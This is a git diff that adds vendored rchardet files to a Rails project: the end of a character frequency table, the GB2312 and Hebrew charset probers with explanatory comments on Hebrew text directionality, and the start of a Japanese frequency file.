+4881,6107,6290,6495,4513,6496,4692,4515,4723,5100,3356,6497,6291,3810,4080,5561, +3570,4430,5980,6498,4355,5697,6499,4724,6108,6109,3764,4050,5038,5879,4093,3226, +6292,5068,5217,4693,3342,5630,3504,4831,4377,4466,4309,5698,4431,5777,6293,5778, +4272,3706,6110,5326,3752,4676,5327,4273,5403,4767,5631,6500,5699,5880,3475,5039, +6294,5562,5125,4348,4301,4482,4068,5126,4593,5700,3380,3462,5981,5563,3824,5404, +4970,5511,3825,4738,6295,6501,5452,4516,6111,5881,5564,6502,6296,5982,6503,4213, +4163,3454,6504,6112,4009,4450,6113,4658,6297,6114,3035,6505,6115,3995,4904,4739, +4563,4942,4110,5040,3661,3928,5362,3674,6506,5292,3612,4791,5565,4149,5983,5328, +5259,5021,4725,4577,4564,4517,4364,6298,5405,4578,5260,4594,4156,4157,5453,3592, +3491,6507,5127,5512,4709,4922,5984,5701,4726,4289,6508,4015,6116,5128,4628,3424, +4241,5779,6299,4905,6509,6510,5454,5702,5780,6300,4365,4923,3971,6511,5161,3270, +3158,5985,4100, 867,5129,5703,6117,5363,3695,3301,5513,4467,6118,6512,5455,4232, +4242,4629,6513,3959,4478,6514,5514,5329,5986,4850,5162,5566,3846,4694,6119,5456, +4869,5781,3779,6301,5704,5987,5515,4710,6302,5882,6120,4392,5364,5705,6515,6121, +6516,6517,3736,5988,5457,5989,4695,2457,5883,4551,5782,6303,6304,6305,5130,4971, +6122,5163,6123,4870,3263,5365,3150,4871,6518,6306,5783,5069,5706,3513,3498,4409, +5330,5632,5366,5458,5459,3991,5990,4502,3324,5991,5784,3696,4518,5633,4119,6519, +4630,5634,4417,5707,4832,5992,3418,6124,5993,5567,4768,5218,6520,4595,3458,5367, +6125,5635,6126,4202,6521,4740,4924,6307,3981,4069,4385,6308,3883,2675,4051,3834, +4302,4483,5568,5994,4972,4101,5368,6309,5164,5884,3922,6127,6522,6523,5261,5460, +5187,4164,5219,3538,5516,4111,3524,5995,6310,6311,5369,3181,3386,2484,5188,3464, +5569,3627,5708,6524,5406,5165,4677,4492,6312,4872,4851,5885,4468,5996,6313,5709, +5710,6128,2470,5886,6314,5293,4882,5785,3325,5461,5101,6129,5711,5786,6525,4906, +6526,6527,4418,5887,5712,4808,2907,3701,5713,5888,6528,3765,5636,5331,6529,6530, +3593,5889,3637,4943,3692,5714,5787,4925,6315,6130,5462,4405,6131,6132,6316,5262, +6531,6532,5715,3859,5716,5070,4696,5102,3929,5788,3987,4792,5997,6533,6534,3920, +4809,5000,5998,6535,2974,5370,6317,5189,5263,5717,3826,6536,3953,5001,4883,3190, +5463,5890,4973,5999,4741,6133,6134,3607,5570,6000,4711,3362,3630,4552,5041,6318, +6001,2950,2953,5637,4646,5371,4944,6002,2044,4120,3429,6319,6537,5103,4833,6538, +6539,4884,4647,3884,6003,6004,4758,3835,5220,5789,4565,5407,6540,6135,5294,4697, +4852,6320,6321,3206,4907,6541,6322,4945,6542,6136,6543,6323,6005,4631,3519,6544, +5891,6545,5464,3784,5221,6546,5571,4659,6547,6324,6137,5190,6548,3853,6549,4016, +4834,3954,6138,5332,3827,4017,3210,3546,4469,5408,5718,3505,4648,5790,5131,5638, +5791,5465,4727,4318,6325,6326,5792,4553,4010,4698,3439,4974,3638,4335,3085,6006, +5104,5042,5166,5892,5572,6327,4356,4519,5222,5573,5333,5793,5043,6550,5639,5071, +4503,6328,6139,6551,6140,3914,3901,5372,6007,5640,4728,4793,3976,3836,4885,6552, +4127,6553,4451,4102,5002,6554,3686,5105,6555,5191,5072,5295,4611,5794,5296,6556, +5893,5264,5894,4975,5466,5265,4699,4976,4370,4056,3492,5044,4886,6557,5795,4432, +4769,4357,5467,3940,4660,4290,6141,4484,4770,4661,3992,6329,4025,4662,5022,4632, +4835,4070,5297,4663,4596,5574,5132,5409,5895,6142,4504,5192,4664,5796,5896,3885, +5575,5797,5023,4810,5798,3732,5223,4712,5298,4084,5334,5468,6143,4052,4053,4336, +4977,4794,6558,5335,4908,5576,5224,4233,5024,4128,5469,5225,4873,6008,5045,4729, +4742,4633,3675,4597,6559,5897,5133,5577,5003,5641,5719,6330,6560,3017,2382,3854, +4406,4811,6331,4393,3964,4946,6561,2420,3722,6562,4926,4378,3247,1736,4442,6332, +5134,6333,5226,3996,2918,5470,4319,4003,4598,4743,4744,4485,3785,3902,5167,5004, +5373,4394,5898,6144,4874,1793,3997,6334,4085,4214,5106,5642,4909,5799,6009,4419, +4189,3330,5899,4165,4420,5299,5720,5227,3347,6145,4081,6335,2876,3930,6146,3293, +3786,3910,3998,5900,5300,5578,2840,6563,5901,5579,6147,3531,5374,6564,6565,5580, +4759,5375,6566,6148,3559,5643,6336,6010,5517,6337,6338,5721,5902,3873,6011,6339, +6567,5518,3868,3649,5722,6568,4771,4947,6569,6149,4812,6570,2853,5471,6340,6341, +5644,4795,6342,6012,5723,6343,5724,6013,4349,6344,3160,6150,5193,4599,4514,4493, +5168,4320,6345,4927,3666,4745,5169,5903,5005,4928,6346,5725,6014,4730,4203,5046, +4948,3395,5170,6015,4150,6016,5726,5519,6347,5047,3550,6151,6348,4197,4310,5904, +6571,5581,2965,6152,4978,3960,4291,5135,6572,5301,5727,4129,4026,5905,4853,5728, +5472,6153,6349,4533,2700,4505,5336,4678,3583,5073,2994,4486,3043,4554,5520,6350, +6017,5800,4487,6351,3931,4103,5376,6352,4011,4321,4311,4190,5136,6018,3988,3233, +4350,5906,5645,4198,6573,5107,3432,4191,3435,5582,6574,4139,5410,6353,5411,3944, +5583,5074,3198,6575,6354,4358,6576,5302,4600,5584,5194,5412,6577,6578,5585,5413, +5303,4248,5414,3879,4433,6579,4479,5025,4854,5415,6355,4760,4772,3683,2978,4700, +3797,4452,3965,3932,3721,4910,5801,6580,5195,3551,5907,3221,3471,3029,6019,3999, +5908,5909,5266,5267,3444,3023,3828,3170,4796,5646,4979,4259,6356,5647,5337,3694, +6357,5648,5338,4520,4322,5802,3031,3759,4071,6020,5586,4836,4386,5048,6581,3571, +4679,4174,4949,6154,4813,3787,3402,3822,3958,3215,3552,5268,4387,3933,4950,4359, +6021,5910,5075,3579,6358,4234,4566,5521,6359,3613,5049,6022,5911,3375,3702,3178, +4911,5339,4521,6582,6583,4395,3087,3811,5377,6023,6360,6155,4027,5171,5649,4421, +4249,2804,6584,2270,6585,4000,4235,3045,6156,5137,5729,4140,4312,3886,6361,4330, +6157,4215,6158,3500,3676,4929,4331,3713,4930,5912,4265,3776,3368,5587,4470,4855, +3038,4980,3631,6159,6160,4132,4680,6161,6362,3923,4379,5588,4255,6586,4121,6587, +6363,4649,6364,3288,4773,4774,6162,6024,6365,3543,6588,4274,3107,3737,5050,5803, +4797,4522,5589,5051,5730,3714,4887,5378,4001,4523,6163,5026,5522,4701,4175,2791, +3760,6589,5473,4224,4133,3847,4814,4815,4775,3259,5416,6590,2738,6164,6025,5304, +3733,5076,5650,4816,5590,6591,6165,6592,3934,5269,6593,3396,5340,6594,5804,3445, +3602,4042,4488,5731,5732,3525,5591,4601,5196,6166,6026,5172,3642,4612,3202,4506, +4798,6366,3818,5108,4303,5138,5139,4776,3332,4304,2915,3415,4434,5077,5109,4856, +2879,5305,4817,6595,5913,3104,3144,3903,4634,5341,3133,5110,5651,5805,6167,4057, +5592,2945,4371,5593,6596,3474,4182,6367,6597,6168,4507,4279,6598,2822,6599,4777, +4713,5594,3829,6169,3887,5417,6170,3653,5474,6368,4216,2971,5228,3790,4579,6369, +5733,6600,6601,4951,4746,4555,6602,5418,5475,6027,3400,4665,5806,6171,4799,6028, +5052,6172,3343,4800,4747,5006,6370,4556,4217,5476,4396,5229,5379,5477,3839,5914, +5652,5807,4714,3068,4635,5808,6173,5342,4192,5078,5419,5523,5734,6174,4557,6175, +4602,6371,6176,6603,5809,6372,5735,4260,3869,5111,5230,6029,5112,6177,3126,4681, +5524,5915,2706,3563,4748,3130,6178,4018,5525,6604,6605,5478,4012,4837,6606,4534, +4193,5810,4857,3615,5479,6030,4082,3697,3539,4086,5270,3662,4508,4931,5916,4912, +5811,5027,3888,6607,4397,3527,3302,3798,2775,2921,2637,3966,4122,4388,4028,4054, +1633,4858,5079,3024,5007,3982,3412,5736,6608,3426,3236,5595,3030,6179,3427,3336, +3279,3110,6373,3874,3039,5080,5917,5140,4489,3119,6374,5812,3405,4494,6031,4666, +4141,6180,4166,6032,5813,4981,6609,5081,4422,4982,4112,3915,5653,3296,3983,6375, +4266,4410,5654,6610,6181,3436,5082,6611,5380,6033,3819,5596,4535,5231,5306,5113, +6612,4952,5918,4275,3113,6613,6376,6182,6183,5814,3073,4731,4838,5008,3831,6614, +4888,3090,3848,4280,5526,5232,3014,5655,5009,5737,5420,5527,6615,5815,5343,5173, +5381,4818,6616,3151,4953,6617,5738,2796,3204,4360,2989,4281,5739,5174,5421,5197, +3132,5141,3849,5142,5528,5083,3799,3904,4839,5480,2880,4495,3448,6377,6184,5271, +5919,3771,3193,6034,6035,5920,5010,6036,5597,6037,6378,6038,3106,5422,6618,5423, +5424,4142,6619,4889,5084,4890,4313,5740,6620,3437,5175,5307,5816,4199,5198,5529, +5817,5199,5656,4913,5028,5344,3850,6185,2955,5272,5011,5818,4567,4580,5029,5921, +3616,5233,6621,6622,6186,4176,6039,6379,6380,3352,5200,5273,2908,5598,5234,3837, +5308,6623,6624,5819,4496,4323,5309,5201,6625,6626,4983,3194,3838,4167,5530,5922, +5274,6381,6382,3860,3861,5599,3333,4292,4509,6383,3553,5481,5820,5531,4778,6187, +3955,3956,4324,4389,4218,3945,4325,3397,2681,5923,4779,5085,4019,5482,4891,5382, +5383,6040,4682,3425,5275,4094,6627,5310,3015,5483,5657,4398,5924,3168,4819,6628, +5925,6629,5532,4932,4613,6041,6630,4636,6384,4780,4204,5658,4423,5821,3989,4683, +5822,6385,4954,6631,5345,6188,5425,5012,5384,3894,6386,4490,4104,6632,5741,5053, +6633,5823,5926,5659,5660,5927,6634,5235,5742,5824,4840,4933,4820,6387,4859,5928, +4955,6388,4143,3584,5825,5346,5013,6635,5661,6389,5014,5484,5743,4337,5176,5662, +6390,2836,6391,3268,6392,6636,6042,5236,6637,4158,6638,5744,5663,4471,5347,3663, +4123,5143,4293,3895,6639,6640,5311,5929,5826,3800,6189,6393,6190,5664,5348,3554, +3594,4749,4603,6641,5385,4801,6043,5827,4183,6642,5312,5426,4761,6394,5665,6191, +4715,2669,6643,6644,5533,3185,5427,5086,5930,5931,5386,6192,6044,6645,4781,4013, +5745,4282,4435,5534,4390,4267,6045,5746,4984,6046,2743,6193,3501,4087,5485,5932, +5428,4184,4095,5747,4061,5054,3058,3862,5933,5600,6646,5144,3618,6395,3131,5055, +5313,6396,4650,4956,3855,6194,3896,5202,4985,4029,4225,6195,6647,5828,5486,5829, +3589,3002,6648,6397,4782,5276,6649,6196,6650,4105,3803,4043,5237,5830,6398,4096, +3643,6399,3528,6651,4453,3315,4637,6652,3984,6197,5535,3182,3339,6653,3096,2660, +6400,6654,3449,5934,4250,4236,6047,6401,5831,6655,5487,3753,4062,5832,6198,6199, +6656,3766,6657,3403,4667,6048,6658,4338,2897,5833,3880,2797,3780,4326,6659,5748, +5015,6660,5387,4351,5601,4411,6661,3654,4424,5935,4339,4072,5277,4568,5536,6402, +6662,5238,6663,5349,5203,6200,5204,6201,5145,4536,5016,5056,4762,5834,4399,4957, +6202,6403,5666,5749,6664,4340,6665,5936,5177,5667,6666,6667,3459,4668,6404,6668, +6669,4543,6203,6670,4276,6405,4480,5537,6671,4614,5205,5668,6672,3348,2193,4763, +6406,6204,5937,5602,4177,5669,3419,6673,4020,6205,4443,4569,5388,3715,3639,6407, +6049,4058,6206,6674,5938,4544,6050,4185,4294,4841,4651,4615,5488,6207,6408,6051, +5178,3241,3509,5835,6208,4958,5836,4341,5489,5278,6209,2823,5538,5350,5206,5429, +6675,4638,4875,4073,3516,4684,4914,4860,5939,5603,5389,6052,5057,3237,5490,3791, +6676,6409,6677,4821,4915,4106,5351,5058,4243,5539,4244,5604,4842,4916,5239,3028, +3716,5837,5114,5605,5390,5940,5430,6210,4332,6678,5540,4732,3667,3840,6053,4305, +3408,5670,5541,6410,2744,5240,5750,6679,3234,5606,6680,5607,5671,3608,4283,4159, +4400,5352,4783,6681,6411,6682,4491,4802,6211,6412,5941,6413,6414,5542,5751,6683, +4669,3734,5942,6684,6415,5943,5059,3328,4670,4144,4268,6685,6686,6687,6688,4372, +3603,6689,5944,5491,4373,3440,6416,5543,4784,4822,5608,3792,4616,5838,5672,3514, +5391,6417,4892,6690,4639,6691,6054,5673,5839,6055,6692,6056,5392,6212,4038,5544, +5674,4497,6057,6693,5840,4284,5675,4021,4545,5609,6418,4454,6419,6213,4113,4472, +5314,3738,5087,5279,4074,5610,4959,4063,3179,4750,6058,6420,6214,3476,4498,4716, +5431,4960,4685,6215,5241,6694,6421,6216,6695,5841,5945,6422,3748,5946,5179,3905, +5752,5545,5947,4374,6217,4455,6423,4412,6218,4803,5353,6696,3832,5280,6219,4327, +4702,6220,6221,6059,4652,5432,6424,3749,4751,6425,5753,4986,5393,4917,5948,5030, +5754,4861,4733,6426,4703,6697,6222,4671,5949,4546,4961,5180,6223,5031,3316,5281, +6698,4862,4295,4934,5207,3644,6427,5842,5950,6428,6429,4570,5843,5282,6430,6224, +5088,3239,6060,6699,5844,5755,6061,6431,2701,5546,6432,5115,5676,4039,3993,3327, +4752,4425,5315,6433,3941,6434,5677,4617,4604,3074,4581,6225,5433,6435,6226,6062, +4823,5756,5116,6227,3717,5678,4717,5845,6436,5679,5846,6063,5847,6064,3977,3354, +6437,3863,5117,6228,5547,5394,4499,4524,6229,4605,6230,4306,4500,6700,5951,6065, +3693,5952,5089,4366,4918,6701,6231,5548,6232,6702,6438,4704,5434,6703,6704,5953, +4168,6705,5680,3420,6706,5242,4407,6066,3812,5757,5090,5954,4672,4525,3481,5681, +4618,5395,5354,5316,5955,6439,4962,6707,4526,6440,3465,4673,6067,6441,5682,6708, +5435,5492,5758,5683,4619,4571,4674,4804,4893,4686,5493,4753,6233,6068,4269,6442, +6234,5032,4705,5146,5243,5208,5848,6235,6443,4963,5033,4640,4226,6236,5849,3387, +6444,6445,4436,4437,5850,4843,5494,4785,4894,6709,4361,6710,5091,5956,3331,6237, +4987,5549,6069,6711,4342,3517,4473,5317,6070,6712,6071,4706,6446,5017,5355,6713, +6714,4988,5436,6447,4734,5759,6715,4735,4547,4456,4754,6448,5851,6449,6450,3547, +5852,5318,6451,6452,5092,4205,6716,6238,4620,4219,5611,6239,6072,4481,5760,5957, +5958,4059,6240,6453,4227,4537,6241,5761,4030,4186,5244,5209,3761,4457,4876,3337, +5495,5181,6242,5959,5319,5612,5684,5853,3493,5854,6073,4169,5613,5147,4895,6074, +5210,6717,5182,6718,3830,6243,2798,3841,6075,6244,5855,5614,3604,4606,5496,5685, +5118,5356,6719,6454,5960,5357,5961,6720,4145,3935,4621,5119,5962,4261,6721,6455, +4786,5963,4375,4582,6245,6246,6247,6076,5437,4877,5856,3376,4380,6248,4160,6722, +5148,6456,5211,6457,6723,4718,6458,6724,6249,5358,4044,3297,6459,6250,5857,5615, +5497,5245,6460,5498,6725,6251,6252,5550,3793,5499,2959,5396,6461,6462,4572,5093, +5500,5964,3806,4146,6463,4426,5762,5858,6077,6253,4755,3967,4220,5965,6254,4989, +5501,6464,4352,6726,6078,4764,2290,5246,3906,5438,5283,3767,4964,2861,5763,5094, +6255,6256,4622,5616,5859,5860,4707,6727,4285,4708,4824,5617,6257,5551,4787,5212, +4965,4935,4687,6465,6728,6466,5686,6079,3494,4413,2995,5247,5966,5618,6729,5967, +5764,5765,5687,5502,6730,6731,6080,5397,6467,4990,6258,6732,4538,5060,5619,6733, +4719,5688,5439,5018,5149,5284,5503,6734,6081,4607,6259,5120,3645,5861,4583,6260, +4584,4675,5620,4098,5440,6261,4863,2379,3306,4585,5552,5689,4586,5285,6735,4864, +6736,5286,6082,6737,4623,3010,4788,4381,4558,5621,4587,4896,3698,3161,5248,4353, +4045,6262,3754,5183,4588,6738,6263,6739,6740,5622,3936,6741,6468,6742,6264,5095, +6469,4991,5968,6743,4992,6744,6083,4897,6745,4256,5766,4307,3108,3968,4444,5287, +3889,4343,6084,4510,6085,4559,6086,4898,5969,6746,5623,5061,4919,5249,5250,5504, +5441,6265,5320,4878,3242,5862,5251,3428,6087,6747,4237,5624,5442,6266,5553,4539, +6748,2585,3533,5398,4262,6088,5150,4736,4438,6089,6267,5505,4966,6749,6268,6750, +6269,5288,5554,3650,6090,6091,4624,6092,5690,6751,5863,4270,5691,4277,5555,5864, +6752,5692,4720,4865,6470,5151,4688,4825,6753,3094,6754,6471,3235,4653,6755,5213, +5399,6756,3201,4589,5865,4967,6472,5866,6473,5019,3016,6757,5321,4756,3957,4573, +6093,4993,5767,4721,6474,6758,5625,6759,4458,6475,6270,6760,5556,4994,5214,5252, +6271,3875,5768,6094,5034,5506,4376,5769,6761,2120,6476,5253,5770,6762,5771,5970, +3990,5971,5557,5558,5772,6477,6095,2787,4641,5972,5121,6096,6097,6272,6763,3703, +5867,5507,6273,4206,6274,4789,6098,6764,3619,3646,3833,3804,2394,3788,4936,3978, +4866,4899,6099,6100,5559,6478,6765,3599,5868,6101,5869,5870,6275,6766,4527,6767] + +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/gb2312prober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/gb2312prober.rb new file mode 100755 index 00000000..edc9a0b9 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/gb2312prober.rb @@ -0,0 +1,42 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + class GB2312Prober < MultiByteCharSetProber + def initialize + super + @_mCodingSM = CodingStateMachine.new(GB2312SMModel) + @_mDistributionAnalyzer = GB2312DistributionAnalysis.new() + reset() + end + + def get_charset_name + return "GB2312" + end + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/hebrewprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/hebrewprober.rb new file mode 100755 index 00000000..798f6ce6 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/hebrewprober.rb @@ -0,0 +1,289 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Shy Shalom +# Portions created by the Initial Developer are Copyright (C) 2005 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# This prober doesn't actually recognize a language or a charset. +# It is a helper prober for the use of the Hebrew model probers + +### General ideas of the Hebrew charset recognition ### +# +# Four main charsets exist in Hebrew: +# "ISO-8859-8" - Visual Hebrew +# "windows-1255" - Logical Hebrew +# "ISO-8859-8-I" - Logical Hebrew +# "x-mac-hebrew" - ?? Logical Hebrew ?? +# +# Both "ISO" charsets use a completely identical set of code points, whereas +# "windows-1255" and "x-mac-hebrew" are two different proper supersets of +# these code points. windows-1255 defines additional characters in the range +# 0x80-0x9F as some misc punctuation marks as well as some Hebrew-specific +# diacritics and additional 'Yiddish' ligature letters in the range 0xc0-0xd6. +# x-mac-hebrew defines similar additional code points but with a different +# mapping. +# +# As far as an average Hebrew text with no diacritics is concerned, all four +# charsets are identical with respect to code points. Meaning that for the +# main Hebrew alphabet, all four map the same values to all 27 Hebrew letters +# (including final letters). +# +# The dominant difference between these charsets is their directionality. +# "Visual" directionality means that the text is ordered as if the renderer is +# not aware of a BIDI rendering algorithm. The renderer sees the text and +# draws it from left to right. The text itself when ordered naturally is read +# backwards. A buffer of Visual Hebrew generally looks like so: +# "[last word of first line spelled backwards] [whole line ordered backwards +# and spelled backwards] [first word of first line spelled backwards] +# [end of line] [last word of second line] ... etc' " +# adding punctuation marks, numbers and English text to visual text is +# naturally also "visual" and from left to right. +# +# "Logical" directionality means the text is ordered "naturally" according to +# the order it is read. It is the responsibility of the renderer to display +# the text from right to left. A BIDI algorithm is used to place general +# punctuation marks, numbers and English text in the text. +# +# Texts in x-mac-hebrew are almost impossible to find on the Internet. From +# what little evidence I could find, it seems that its general directionality +# is Logical. +# +# To sum up all of the above, the Hebrew probing mechanism knows about two +# charsets: +# Visual Hebrew - "ISO-8859-8" - backwards text - Words and sentences are +# backwards while line order is natural. For charset recognition purposes +# the line order is unimportant (In fact, for this implementation, even +# word order is unimportant). +# Logical Hebrew - "windows-1255" - normal, naturally ordered text. +# +# "ISO-8859-8-I" is a subset of windows-1255 and doesn't need to be +# specifically identified. +# "x-mac-hebrew" is also identified as windows-1255. A text in x-mac-hebrew +# that contain special punctuation marks or diacritics is displayed with +# some unconverted characters showing as question marks. This problem might +# be corrected using another model prober for x-mac-hebrew. Due to the fact +# that x-mac-hebrew texts are so rare, writing another model prober isn't +# worth the effort and performance hit. +# +#### The Prober #### +# +# The prober is divided between two SBCharSetProbers and a HebrewProber, +# all of which are managed, created, fed data, inquired and deleted by the +# SBCSGroupProber. The two SBCharSetProbers identify that the text is in +# fact some kind of Hebrew, Logical or Visual. The final decision about which +# one is it is made by the HebrewProber by combining final-letter scores +# with the scores of the two SBCharSetProbers to produce a final answer. +# +# The SBCSGroupProber is responsible for stripping the original text of HTML +# tags, English characters, numbers, low-ASCII punctuation characters, spaces +# and new lines. It reduces any sequence of such characters to a single space. +# The buffer fed to each prober in the SBCS group prober is pure text in +# high-ASCII. +# The two SBCharSetProbers (model probers) share the same language model: +# Win1255Model. +# The first SBCharSetProber uses the model normally as any other +# SBCharSetProber does, to recognize windows-1255, upon which this model was +# built. The second SBCharSetProber is told to make the pair-of-letter +# lookup in the language model backwards. This in practice exactly simulates +# a visual Hebrew model using the windows-1255 logical Hebrew model. +# +# The HebrewProber is not using any language model. All it does is look for +# final-letter evidence suggesting the text is either logical Hebrew or visual +# Hebrew. Disjointed from the model probers, the results of the HebrewProber +# alone are meaningless. HebrewProber always returns 0.00 as confidence +# since it never identifies a charset by itself. Instead, the pointer to the +# HebrewProber is passed to the model probers as a helper "Name Prober". +# When the Group prober receives a positive identification from any prober, +# it asks for the name of the charset identified. If the prober queried is a +# Hebrew model prober, the model prober forwards the call to the +# HebrewProber to make the final decision. In the HebrewProber, the +# decision is made according to the final-letters scores maintained and Both +# model probers scores. The answer is returned in the form of the name of the +# charset identified, either "windows-1255" or "ISO-8859-8". + +# windows-1255 / ISO-8859-8 code points of interest +module CharDet + FINAL_KAF = "\xea" + NORMAL_KAF = "\xeb" + FINAL_MEM = "\xed" + NORMAL_MEM = "\xee" + FINAL_NUN = "\xef" + NORMAL_NUN = "\xf0" + FINAL_PE = "\xf3" + NORMAL_PE = "\xf4" + FINAL_TSADI = "\xf5" + NORMAL_TSADI = "\xf6" + + # Minimum Visual vs Logical final letter score difference. + # If the difference is below this, don't rely solely on the final letter score distance. + MIN_FINAL_CHAR_DISTANCE = 5 + + # Minimum Visual vs Logical model score difference. + # If the difference is below this, don't rely at all on the model score distance. + MIN_MODEL_DISTANCE = 0.01 + + VISUAL_HEBREW_NAME = "ISO-8859-8" + LOGICAL_HEBREW_NAME = "windows-1255" + + class HebrewProber < CharSetProber + def initialize + super() + @_mLogicalProber = nil + @_mVisualProber = nil + reset() + end + + def reset + @_mFinalCharLogicalScore = 0 + @_mFinalCharVisualScore = 0 + # The two last characters seen in the previous buffer, + # mPrev and mBeforePrev are initialized to space in order to simulate a word + # delimiter at the beginning of the data + @_mPrev = ' ' + @_mBeforePrev = ' ' + # These probers are owned by the group prober. + end + + def set_model_probers(logicalProber, visualProber) + @_mLogicalProber = logicalProber + @_mVisualProber = visualProber + end + + def is_final(c) + return [FINAL_KAF, FINAL_MEM, FINAL_NUN, FINAL_PE, FINAL_TSADI].include?(c) + end + + def is_non_final(c) + # The normal Tsadi is not a good Non-Final letter due to words like + # 'lechotet' (to chat) containing an apostrophe after the tsadi. This + # apostrophe is converted to a space in FilterWithoutEnglishLetters causing + # the Non-Final tsadi to appear at an end of a word even though this is not + # the case in the original text. + # The letters Pe and Kaf rarely display a related behavior of not being a + # good Non-Final letter. Words like 'Pop', 'Winamp' and 'Mubarak' for + # example legally end with a Non-Final Pe or Kaf. However, the benefit of + # these letters as Non-Final letters outweighs the damage since these words + # are quite rare. + return [NORMAL_KAF, NORMAL_MEM, NORMAL_NUN, NORMAL_PE].include?(c) + end + + def feed(aBuf) + # Final letter analysis for logical-visual decision. + # Look for evidence that the received buffer is either logical Hebrew or + # visual Hebrew. + # The following cases are checked: + # 1) A word longer than 1 letter, ending with a final letter. This is an + # indication that the text is laid out "naturally" since the final letter + # really appears at the end. +1 for logical score. + # 2) A word longer than 1 letter, ending with a Non-Final letter. In normal + # Hebrew, words ending with Kaf, Mem, Nun, Pe or Tsadi, should not end with + # the Non-Final form of that letter. Exceptions to this rule are mentioned + # above in isNonFinal(). This is an indication that the text is laid out + # backwards. +1 for visual score + # 3) A word longer than 1 letter, starting with a final letter. Final letters + # should not appear at the beginning of a word. This is an indication that + # the text is laid out backwards. +1 for visual score. + # + # The visual score and logical score are accumulated throughout the text and + # are finally checked against each other in GetCharSetName(). + # No checking for final letters in the middle of words is done since that case + # is not an indication for either Logical or Visual text. + # + # We automatically filter out all 7-bit characters (replace them with spaces) + # so the word boundary detection works properly. [MAP] + + if get_state() == ENotMe + # Both model probers say it's not them. No reason to continue. + return ENotMe + end + + aBuf = filter_high_bit_only(aBuf) + + for cur in aBuf.split(' ') + if cur == ' ' + # We stand on a space - a word just ended + if @_mBeforePrev != ' ' + # next-to-last char was not a space so self._mPrev is not a 1 letter word + if is_final(@_mPrev) + # case (1) [-2:not space][-1:final letter][cur:space] + @_mFinalCharLogicalScore += 1 + elsif is_non_final(@_mPrev) + # case (2) [-2:not space][-1:Non-Final letter][cur:space] + @_mFinalCharVisualScore += 1 + end + end + else + # Not standing on a space + if (@_mBeforePrev == ' ') and (is_final(@_mPrev)) and (cur != ' ') + # case (3) [-2:space][-1:final letter][cur:not space] + @_mFinalCharVisualScore += 1 + end + end + @_mBeforePrev = @_mPrev + @_mPrev = cur + end + + # Forever detecting, till the end or until both model probers return eNotMe (handled above) + return EDetecting + end + + def get_charset_name + # Make the decision: is it Logical or Visual? + # If the final letter score distance is dominant enough, rely on it. + finalsub = @_mFinalCharLogicalScore - @_mFinalCharVisualScore + if finalsub >= MIN_FINAL_CHAR_DISTANCE + return LOGICAL_HEBREW_NAME + end + if finalsub <= -MIN_FINAL_CHAR_DISTANCE + return VISUAL_HEBREW_NAME + end + + # It's not dominant enough, try to rely on the model scores instead. + modelsub = @_mLogicalProber.get_confidence() - @_mVisualProber.get_confidence() + if modelsub > MIN_MODEL_DISTANCE + return LOGICAL_HEBREW_NAME + end + if modelsub < -MIN_MODEL_DISTANCE + return VISUAL_HEBREW_NAME + end + + # Still no good, back to final letter distance, maybe it'll save the day. + if finalsub < 0.0 + return VISUAL_HEBREW_NAME + end + + # (finalsub > 0 - Logical) or (don't know what to do) default to Logical. + return LOGICAL_HEBREW_NAME + end + + def get_state + # Remain active as long as any of the model probers are active. + if (@_mLogicalProber.get_state() == ENotMe) and (@_mVisualProber.get_state() == ENotMe) + return ENotMe + end + return EDetecting + end + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/jisfreq.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/jisfreq.rb new file mode 100755 index 00000000..2245eeba --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/jisfreq.rb @@ -0,0 +1,570 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are 